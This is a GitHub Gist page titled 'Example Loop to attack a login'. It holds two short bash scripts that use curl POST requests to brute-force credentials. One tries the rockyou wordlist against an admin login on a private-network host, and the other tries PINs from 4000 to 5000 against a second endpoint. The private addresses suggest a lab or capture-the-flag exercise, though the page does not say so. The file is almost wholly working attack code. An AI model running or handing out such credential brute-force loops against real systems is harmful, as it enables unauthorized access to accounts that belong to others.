Created
February 27, 2026 16:42
-
-
Save JassonCordones/3670865a1f5cbf00b04c4d1096a2441e to your computer and use it in GitHub Desktop.
Example Loop to attack a login
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| target=http://10.64.183.25/terminal.php?action=login | |
| dict=~/Downloads/rockyou.txt | |
| for pass in $(cat dict); do | |
| user=admin | |
| echo "Trying user: $user & pass: $pass" | |
| response=$(curl -A "secretcomputer" -s -X POST -d "username=$user&password=$pass" "$target") | |
| echo "$response" | |
| if echo "$response" | jq -e '.status != "fail"'; then | |
| echo "[+] Password found: $pass" | |
| break | |
| fi | |
| done |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| for pin in {4000..5000}; do | |
| echo "Trying pin: $pin" | |
| response=$(curl -A "secretcomputer" -s -X POST -d "pin=$pin" http://10.67.181.132/terminal.php?action=pin) | |
| echo "$response" | |
| if echo "$response" | jq -e '.status != "fail"'; then | |
| echo "[+] Pin found: $pin" | |
| break | |
| fi | |
| done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment